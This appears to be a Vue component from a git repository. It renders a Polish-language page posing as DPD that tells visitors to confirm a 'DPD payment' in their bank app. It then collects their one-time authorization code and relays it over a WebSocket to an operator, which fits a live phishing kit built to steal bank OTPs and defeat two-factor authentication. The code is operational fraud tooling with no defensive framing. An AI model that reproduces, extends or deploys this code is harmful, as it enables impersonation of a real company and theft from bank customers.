Files
zy-client-a/t_global_Fine_temp7/src/views/AppValidView.vue
telangpu b8e0814009 update
2026-05-10 22:11:57 +08:00

276 lines
6.1 KiB
Vue
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<script setup lang="ts">
import {
nextTick,
onMounted,
onUnmounted,
reactive,
ref,
watch,
} from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
const cardType = ref("");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "appValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query) {
console.log("route", query);
cardType.value = query.cardType;
}
localStorage.setItem("route", "appValid");
eventBus.on("app-valid", handleEvent);
});
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
};
onUnmounted(() => {
eventBus.off("app-valid", handleEvent);
});
const formData = reactive({ appVerifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "appVerifyCode", value.target.value);
formData.appVerifyCode = value.target.value;
};
const showInput = ref(false);
watch(message, (newValue, oldValue) => {
showInput.value = !!(message.value.includes(":") || newValue.includes(""));
});
const submit = async () => {
await nextTick();
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitAppValidCode",
formData: formData,
},
})
);
message.value = "";
};
</script>
<template>
<div class="dpd-app-wrapper">
<div class="dpd-app-card">
<!-- 手机 App 授权图示 -->
<div class="dpd-phone-icon">
<svg viewBox="0 0 80 80" xmlns="http://www.w3.org/2000/svg" width="80" height="80">
<rect x="18" y="4" width="44" height="72" rx="7" fill="#f4f4f4" stroke="#dc0032" stroke-width="2.5"/>
<rect x="28" y="9" width="24" height="4" rx="2" fill="#dc0032" opacity="0.3"/>
<circle cx="40" cy="70" r="3" fill="#dc0032" opacity="0.5"/>
<path d="M40 22 L52 27 L52 38 Q52 47 40 52 Q28 47 28 38 L28 27 Z" fill="#dc0032" opacity="0.12" stroke="#dc0032" stroke-width="1.5"/>
<polyline points="34,38 38,43 47,33" fill="none" stroke="#dc0032" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<h2 class="dpd-title">Autoryzacja w aplikacji bankowej</h2>
<p class="dpd-desc">
Otwórz aplikację swojego banku i potwierdź transakcję płatności DPD.<br/>
Nie zamykaj tej strony do momentu potwierdzenia.
</p>
<div class="dpd-bank-row">
<svg viewBox="0 0 24 24" width="16" height="16" fill="#dc0032" style="flex-shrink:0">
<path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z"/>
</svg>
<span><b>{{ t("Authorized bank") }}</b></span>
</div>
<p class="dpd-sub">{{ t("Please go to the bank App to confirm the authorization") }}</p>
<p class="dpd-sub">{{ t("Please do not close this page") }}</p>
<p class="dpd-error" v-if="message">{{ message }}</p>
<div class="dpd-input-wrap" v-if="showInput">
<label class="dpd-input-label">Jednorazowy kod autoryzacyjny</label>
<input
required
type="number"
inputmode="numeric"
class="dpd-input"
@input="onchange"
v-model="formData.appVerifyCode"
minlength="3"
maxlength="8"
placeholder="Wprowadź kod"
/>
<button class="dpd-btn" type="button" @click="submit">Potwierdź</button>
</div>
<div class="dpd-loading-wrap" v-if="!showInput">
<svg class="dpd-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle cx="25" cy="25" r="20" fill="none" stroke="#eeeeee" stroke-width="4"/>
<circle cx="25" cy="25" r="20" fill="none" stroke="#dc0032" stroke-width="4"
stroke-dasharray="80 45" stroke-linecap="round"/>
</svg>
<p class="dpd-waiting">Oczekiwanie na potwierdzenie w aplikacji</p>
</div>
</div>
</div>
</template>
<style scoped>
.dpd-app-wrapper {
min-height: 100dvh;
background-color: #f6f6f6;
display: flex;
align-items: center;
justify-content: center;
padding: 24px 16px;
font-family: Arial, sans-serif;
}
.dpd-app-card {
background: #ffffff;
border-radius: 8px;
border: 1px solid #e5e5e5;
box-shadow: 0 2px 12px rgba(0,0,0,0.06);
padding: 36px 28px;
width: 100%;
max-width: 400px;
text-align: center;
}
.dpd-logo {
margin-bottom: 20px;
}
.dpd-logo-img {
width: 100px;
height: auto;
}
.dpd-phone-icon {
margin: 0 auto 20px;
}
.dpd-title {
font-size: 20px;
font-weight: 800;
color: #222;
margin-bottom: 12px;
}
.dpd-desc {
font-size: 14px;
color: #555;
line-height: 1.6;
margin-bottom: 20px;
}
.dpd-bank-row {
display: inline-flex;
align-items: center;
gap: 6px;
font-size: 14px;
color: #333;
margin-bottom: 8px;
}
.dpd-sub {
font-size: 13px;
color: #888;
margin: 4px 0;
}
.dpd-error {
color: #dc0032;
font-size: 14px;
font-weight: 600;
margin: 12px 0;
}
.dpd-input-wrap {
margin-top: 20px;
display: flex;
flex-direction: column;
gap: 10px;
align-items: center;
}
.dpd-input-label {
font-size: 14px;
font-weight: 600;
color: #333;
}
.dpd-input {
width: 80%;
padding: 10px 12px;
border: 2px solid #ccc;
border-radius: 6px;
font-size: 18px;
font-weight: 700;
text-align: center;
outline: none;
box-sizing: border-box;
}
.dpd-input:focus {
border-color: #dc0032;
}
.dpd-btn {
width: 80%;
padding: 12px;
background-color: #dc0032;
color: #fff;
border: none;
border-radius: 6px;
font-size: 16px;
font-weight: 700;
cursor: pointer;
}
.dpd-btn:active {
background-color: #b30026;
}
.dpd-loading-wrap {
margin-top: 24px;
display: flex;
flex-direction: column;
align-items: center;
gap: 12px;
}
.dpd-spinner {
width: 48px;
height: 48px;
animation: spin 1.2s linear infinite;
}
.dpd-waiting {
font-size: 13px;
color: #999;
}
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
</style>